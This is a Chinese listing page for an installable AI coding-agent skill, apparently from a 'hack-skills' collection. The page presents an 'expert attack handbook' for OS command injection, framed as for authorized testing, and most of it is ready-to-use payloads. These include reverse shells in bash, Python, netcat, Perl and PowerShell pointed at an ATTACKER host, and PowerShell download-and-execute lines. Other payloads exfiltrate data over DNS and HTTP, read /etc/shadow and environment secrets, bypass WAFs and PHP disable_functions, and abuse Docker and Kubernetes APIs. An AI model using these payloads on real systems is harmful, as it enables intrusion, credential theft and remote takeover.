关于 cmdi-command-injection
面向授权安全测试的命令注入技能,整理不同 Shell 和应用组件中的注入情境、检测方式与载荷类型。涵盖盲注及多种操作系统示例。
主要功能
- 01说明 Shell 元字符与注入上下文
- 02介绍基于延时和带外的盲注检测
- 03涵盖 Linux、Windows 与 PowerShell 差异
- 04列举易受影响的代码模式和命令入口
- 05说明过滤绕过及组件级案例
适用场景
- 01测试输入是否进入 Shell 命令
- 02在无可见输出时排查盲注
- 03审查拼接操作系统命令的应用代码
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill cmdi-command-injection安装后在 Claude Code 中输入/cmdi-command-injection确认已加载。
详细介绍
技能:OS 命令注入 — 专家攻击手册
AI 加载指令:专家级命令注入技巧。涵盖所有 Shell 元字符、盲注入、基于时间的检测、带外数据外传、多态 Payload,以及真实世界中的代码模式。基础模型会忽略通过意外输入向量进行的隐蔽注入。
0. 相关路由
深入探查前,可以先加载:
- 当 Shell 接收点属于更广泛的上传、导入或转换工作流时,请参阅不安全文件上传
首轮 Payload 类型
| 上下文 | 从此处开始 | 备用方案 |
|---|---|---|
| 通用 Shell 分隔符 | ;id | &&id |
| 带引号的参数 | ";id;" | ';id;' |
| 盲注计时 | ;sleep 5 | & timeout /T 5 /NOBREAK |
| 命令替换 | $(id) | `id` |
| 带外 DNS | ;nslookup token.collab | Windows nslookup 变体 |
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid
1. SHELL 元字符(注入运算符)
这些字符会跳出命令上下文并注入新命令:
| 元字符 | 行为 | 示例 |
|---|---|---|
; | 无论如何都会运行第二条命令 | dir; whoami |
| | 将标准输出通过管道传给第二条命令 | dir | whoami |
|| | 仅在第一条命令失败时运行第二条 | dir || whoami |
& | 在后台运行第二条命令(或在 Windows 中按顺序运行) | dir & whoami |
&& | 仅在第一条命令成功时运行第二条 | dir && whoami |
$(cmd) | 命令替换 | echo $(whoami) |
`cmd` | 命令替换(反引号) | echo `whoami` |
> | 将标准输出重定向到文件 | cmd > /tmp/out |
>> | 追加到文件 | cmd >> /tmp/out |
< | 将文件作为标准输入读取 | cmd < /etc/passwd |
%0a | 换行符(URL 编码) | cmd%0awhoami |
%0d%0a | CRLF | 多命令注入 |
2. 常见易受攻击的代码模式
PHP
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)
exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file); // ImageMagick RCE
passthru("nslookup " . $host); // $host = "x.com; id"
Python
import os
os.system("curl " + url) # url = "x.com; id"
subprocess.call("ls " + path, shell=True) # shell=True is the key vulnerability
os.popen("ping " + host)
Node.js
const { exec } = require('child_process');
exec('ping ' + req.query.host, ...); // host = "x.com; id"
Perl
$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwd
ASP(Classic)
szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt
3. 盲命令注入 — 检测
当响应中没有命令输出时:
基于时间的检测
# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &
# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777
比较不带 Payload 和带 Payload 时的响应时间。延迟 5 秒以上即表示确认。
通过 DNS 进行带外检测
# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)
# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST
通过 HTTP 进行带外检测
# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)
# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"
通过带外文件进行带外检测
; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt
4. 注入上下文变体
双引号字符串内
command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""
单引号字符串内
command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''
反引号执行上下文内
output=`command INJECT`
# Inject: x`; id ;`
文件路径上下文
cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)
5. Payload 库
信息收集
; id # current user
; whoami # user name
; uname -a # OS info
; cat /etc/passwd # user list
; cat /etc/shadow # password hashes (if root)
; ls /home/ # home directories
; env # environment variables (DB creds, API keys!)
; printenv # same
; cat /proc/1/environ # process environment
; ifconfig # network interfaces
; cat /etc/hosts # host entries
反向 Shell(Linux)
# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash
# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
反向 Shell(通过 PowerShell 实现的 Windows)
& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
6. 过滤器绕过技巧
空格替代方案(过滤空格时)
cat</etc/passwd # < instead of space
{cat,/etc/passwd} # brace expansion
cat$IFS/etc/passwd # $IFS variable (field separator)
X=$'\x20'&&cat${X}/etc/passwd # hex encoded space
斜杠替代方案(过滤 / 时)
$'\057'etc$'\057'passwd # octal representation
cat /???/???sec??? # glob expansion
通过变量拼接绕过关键字过滤
a=c;b=at;c=/etc/passwd; $a$b $c # 'cat /etc/passwd'
c=at;ca$c /etc/passwd # cat
换行符注入
cmd%0Aid%0Awhoami # URL-encoded newlines
cmd$'\n'id$'\n'whoami # literal newlines
7. 常见注入入口点
| 入口 | 示例 |
|---|---|
| 网络工具 | ping、nslookup、traceroute、whois 表单 |
| 文件转换 | 图像缩放、PDF 生成、格式转换 |
| 邮件发送器 | 通知邮件中的发件人地址、姓名字段 |
| 搜索/排序参数 | 传递给 grep、find、sort 命令 |
| 日志查看 | 传递给 tail、grep 命令 |
| 自定义脚本执行 | “运行测试”功能、CI/CD 钩子 |
| DNS 查询功能 | rDNS 查询、WHOIS 查询 |
| 备份/还原功能 | 文件路径参数 |
| 存档处理 | zip/unzip、使用用户提供文件名的 tar |
8. 盲注入决策树
Found potential injection point?
├── Try basic: ; sleep 5
│ └── Response delays? → Confirmed blind injection
│ ├── Extract data via timing: if/then sleep
│ └── Use OOB: curl/nslookup to Collaborator
│
├── No delay observed?
│ ├── Try: | sleep 5
│ ├── Try: $(sleep 5)
│ ├── Try: ` sleep 5 `
│ ├── Try after URL encoding: %3B%20sleep%205
│ └── Try double encoding: %253B%2520sleep%25205
│
└── All blocked → check WEB APPLICATION LAYER
Filter on input? → encode differently
Filter on specific commands? → whitespace bypass, $IFS, glob
9. 高级 WAF 绕过技巧
通配符展开
# Use ? and * to bypass keyword filters:
/???/??t /???/p??s?? # /bin/cat /etc/passwd
/???/???/????2 *.php # /usr/bin/find2 *.php (approximate)
# Globbing for specific files:
cat /e?c/p?sswd
cat /e*c/p*d
cat 替代方案(过滤“cat”时)
tac /etc/passwd # reverse cat
nl /etc/passwd # numbered lines
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
sort /etc/passwd
uniq /etc/passwd
rev /etc/passwd | rev
xxd /etc/passwd
strings /etc/passwd
od -c /etc/passwd
base64 /etc/passwd # then decode offline
插入注释(仅适用于 PHP)
# Insert comments within function names to bypass WAF:
sys/*x*/tem('id') # PHP ignores /* */ in some eval contexts
# Note: this works with eval() and similar PHP dynamic calls
XOR 字符串构造(PHP)
# Build function names from XOR of printable characters:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
# Produces: "assert"
$_('%13%19%13%14%05%0d'|'%60%60%60%60%60%60');
# Evaluates: assert("system")
Base64/ROT13 编码
# Encode payload, decode at runtime:
base64_decode('c3lzdGVt')('id'); # system('id')
str_rot13('flfgrz')('id'); # system → flfgrz via ROT13
chr() 拼接
# Build strings character by character:
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109) # "system"
美元符号变量技巧
# $IFS (Internal Field Separator) as space:
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
# Unset variables expand to empty:
c${x}at /etc/passwd # $x is unset → "cat"
10. PHP disable_functions 绕过路径
当 system()、exec()、shell_exec()、passthru()、popen()、proc_open() 全部被禁用时:
路径 1:LD_PRELOAD + mail()/putenv()
// 1. Upload shared object (.so) that hooks a libc function
// 2. Set LD_PRELOAD to point to it
putenv("LD_PRELOAD=/tmp/evil.so");
// 3. Trigger external process (mail() calls sendmail)
mail("[email protected]", "", "");
// The .so's constructor runs with shell access
路径 2:Shellshock (CVE-2014-6271)
// If bash is vulnerable to Shellshock:
putenv("PHP_LOL=() { :; }; /usr/bin/id > /tmp/out");
mail("[email protected]", "", "");
// Bash processes the function definition and runs the trailing command
路径 3:Apache mod_cgi + .htaccess
// Write .htaccess enabling CGI:
file_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\nAddHandler cgi-script .sh');
// Write CGI script:
file_put_contents('/var/www/html/cmd.sh', "#!/bin/bash\necho Content-type: text/html\necho\n$1");
chmod('/var/www/html/cmd.sh', 0755);
// Access: /cmd.sh?id
路径 4:PHP-FPM / FastCGI
// If PHP-FPM socket is accessible (/var/run/php-fpm.sock or port 9000):
// Send crafted FastCGI request to execute arbitrary PHP with different php.ini
// Tool: https://github.com/neex/phuip-fpizdam
// Override: PHP_VALUE=auto_prepend_file=/tmp/shell.php
路径 5:COM 对象(Windows)
// Windows only, if COM extension enabled:
$wsh = new COM('WScript.Shell');
$exec = $wsh->Run('cmd /c whoami > C:\inetpub\wwwroot\out.txt', 0, true);
路径 6:ImageMagick Delegate (CVE-2016-3714 "ImageTragick")
// If ImageMagick processes user-uploaded images:
// Upload SVG/MVG with embedded command:
// Content of exploit.svg:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
另请考虑(摘要): iconv (CVE-2024-2961),通过 php://filter/convert.iconv;扩展启用时使用 FFI(FFI::cdef + libc)。
11. 组件级命令注入
ImageMagick Delegate 滥用
# MVG format with shell command in URL:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'
pop graphic-context
# Or via filename: convert '|id' out.png
FFmpeg(HLS/concat 协议)
# SSRF/LFI via m3u8 playlist:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST
# Upload as .m3u8, FFmpeg processes and may leak file contents in output
Elasticsearch Groovy 脚本(5.x 之前)
POST /_search
{
"query": { "match_all": {} },
"script_fields": {
"cmd": {
"script": "Runtime rt = Runtime.getRuntime(); rt.exec('id')"
}
}
}
Ping/Traceroute/NSLookup 诊断页面
# Classic injection point in network diagnostic features:
# Input: 127.0.0.1; id
# Input: 127.0.0.1 && cat /etc/passwd
# Input: `id`.attacker.com (DNS exfil via backtick)
# These features directly call OS commands with user input
其他接收点(速查): PDF 生成器(wkhtmltopdf / WeasyPrint,使用用户提供的 HTML);Git 包装器(git clone URL / 钩子)。
12. WINDOWS CMD.EXE 与 POWERSHELL 注入对照表
| 特性 | cmd.exe | PowerShell |
|---|---|---|
| 命令分隔符 | &, &&, ||, ;(有限) | ;, |, &(调用运算符) |
| 变量展开 | %VARIABLE%, !VAR!(延迟) | $env:VARIABLE, $Variable |
| 转义字符 | ^(插入符) | `(反引号) |
| 命令替换 | FOR /F 循环 | $() 子表达式 |
| 编码执行 | 不适用 | -EncodedCommand(base64 UTF-16LE) |
| 管道 | |(仅 stdout) | |(对象,而非文本) |
| 注释 | REM, :: | # |
| 字符串引号 | 仅 "双引号" | "双引号"、'单引号'(不展开) |
cmd.exe 专用载荷
REM Command chaining
dir & whoami
dir && whoami
dir || whoami
REM Caret escape to bypass keyword filters
w^h^o^a^m^i
n^e^t u^s^e^r
REM Variable expansion injection
set CMD=whoami
%CMD%
REM Environment variable exfiltration via DNS
nslookup %USERNAME%.attacker.com
nslookup %COMPUTERNAME%.attacker.com
REM Delayed expansion (when !var! is enabled)
cmd /V:ON /C "set x=whoami&!x!"
PowerShell 专用载荷
# Semicolon separator
Get-Process; whoami
# Subexpression
"$(whoami)"
Write-Output $(hostname)
# Base64 encoded command (UTF-16LE)
powershell -EncodedCommand dwBoAG8AYQBtAGkA
# Decodes to: whoami
# Invoke-Expression obfuscation
$a='who';$b='ami';iex "$a$b"
& (gcm *ke-*) "whoami"
# Download and execute
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
IEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content
# Constrained Language Mode bypass (if available)
powershell -Version 2 -Command "whoami"
跨平台载荷差异
| 目标 | 时间延迟 | DNS 外传 | 文件读取 |
|---|---|---|---|
| Linux/macOS | sleep 5 | nslookup $(whoami).atk.com | cat /etc/passwd |
| cmd.exe | timeout /T 5 /NOBREAK | nslookup %USERNAME%.atk.com | type C:\Windows\win.ini |
| PowerShell | Start-Sleep 5 | nslookup $(whoami).atk.com | Get-Content C:\Windows\win.ini |
检测优先型多态载荷
;sleep${IFS}5;#&timeout /T 5 /NOBREAK&#
适用于 sh/bash/cmd 上下文——其中一个分隔符会生效。
13. 容器 / K8S 执行注入
kubectl exec 注入
当 Web 应用使用用户输入构造 kubectl exec 命令时:
# Vulnerable pattern
kubectl exec $POD_NAME -- /bin/sh -c "echo $USER_INPUT"
# Injection via pod name
POD_NAME="mypod -- /bin/sh -c whoami #"
→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c "echo ..."
# Injection via user input in command
USER_INPUT='"; cat /etc/passwd; echo "'
→ kubectl exec pod -- /bin/sh -c "echo ""; cat /etc/passwd; echo """
Docker exec 注入
# Vulnerable web admin panel
docker exec $CONTAINER_NAME $COMMAND
# Injection via container name
CONTAINER_NAME="web_app -u root web_app"
→ docker exec web_app -u root web_app $COMMAND (runs as root)
# Injection via command argument
COMMAND="status; cat /etc/shadow"
→ docker exec container /bin/sh -c "status; cat /etc/shadow"
容器运行时 API(未经过身份验证)
# Docker socket exposed (2375/2376 or /var/run/docker.sock)
POST /containers/create HTTP/1.1
{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],"Binds":["/:/host"]}
# Then start + exec
POST /containers/{id}/start
POST /containers/{id}/exec {"Cmd":["cat","/host/etc/shadow"]}
# Kubernetes API (6443/8443 unauthenticated)
POST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=true
需要关注的接收点
| 组件 | 注入向量 |
|---|---|
| CI/CD 流水线(Jenkins、GitLab CI) | 构建步骤参数、环境变量 |
| Kubernetes CronJob | 来自用户定义计划的 .spec.containers[].command |
| Helm chart 值 | 使用 {{ }} 模板化并写入 Pod 规范的 values.yaml |
| 容器编排 UI | Portainer、Rancher 等的“运行命令”功能 |
14. 环境变量注入
当应用允许设置或影响环境变量时,若干变量具有隐式执行语义:
Linux / Unix
| 变量 | 作用 | 利用方式 |
|---|---|---|
LD_PRELOAD | 在任何共享库之前加载;构造函数会在进程启动时运行 | putenv("LD_PRELOAD=/tmp/evil.so"); mail("a@b","",""); |
LD_LIBRARY_PATH | 覆盖库搜索路径 | 在受控目录中放置恶意的 libc.so.6 |
BASH_ENV | 启动非交互式 bash 时执行 | BASH_ENV=/tmp/evil.sh → 任何 system() / popen() 调用都会加载它 |
ENV | 对 POSIX sh 的作用与 BASH_ENV 相同 | ENV=/tmp/evil.sh |
PROMPT_COMMAND | 在每个交互式提示符出现前执行 | PROMPT_COMMAND="curl http://atk.com/$(whoami)" |
PS1 | 提示符字符串;在 bash 中支持 $() 展开 | PS1='$(cat /etc/passwd > /tmp/out) \$ ' |
PYTHONSTARTUP | 解释器启动时执行的 Python 脚本 | 注入恶意 .py 文件的路径 |
PERL5OPT | 传递给每次 Perl 调用的选项 | PERL5OPT='-Mbase;system("id")' |
NODE_OPTIONS | 传递给每次 Node.js 调用的选项 | NODE_OPTIONS='--require /tmp/evil.js' |
RUBYOPT | Ruby 选项 | RUBYOPT='-r/tmp/evil.rb' |
Windows
| 变量 | 作用 |
|---|---|
COMSPEC | 命令解释器的路径;system() 调用会使用它 |
PATH | 命令解析顺序;将恶意二进制文件放在路径中更靠前的位置 |
PSModulePath | PowerShell 会从这些路径自动加载模块 |
攻击场景
通过 PHP putenv() + mail():
// When putenv() is not disabled and mail() is available:
putenv("LD_PRELOAD=/tmp/evil.so");
mail("[email protected]","","","");
// mail() invokes sendmail → loads evil.so → constructor executes arbitrary code
通过环境变量注入 Git hook:
# GIT_DIR / GIT_WORK_TREE manipulation
GIT_DIR=/tmp/evil_repo/.git git status
# If hooks exist in the controlled repo, they execute
注入 Node.js --require:
NODE_OPTIONS="--require=/tmp/reverse_shell.js" node /app/server.js
# reverse_shell.js is loaded before server.js
评论
支持 Markdown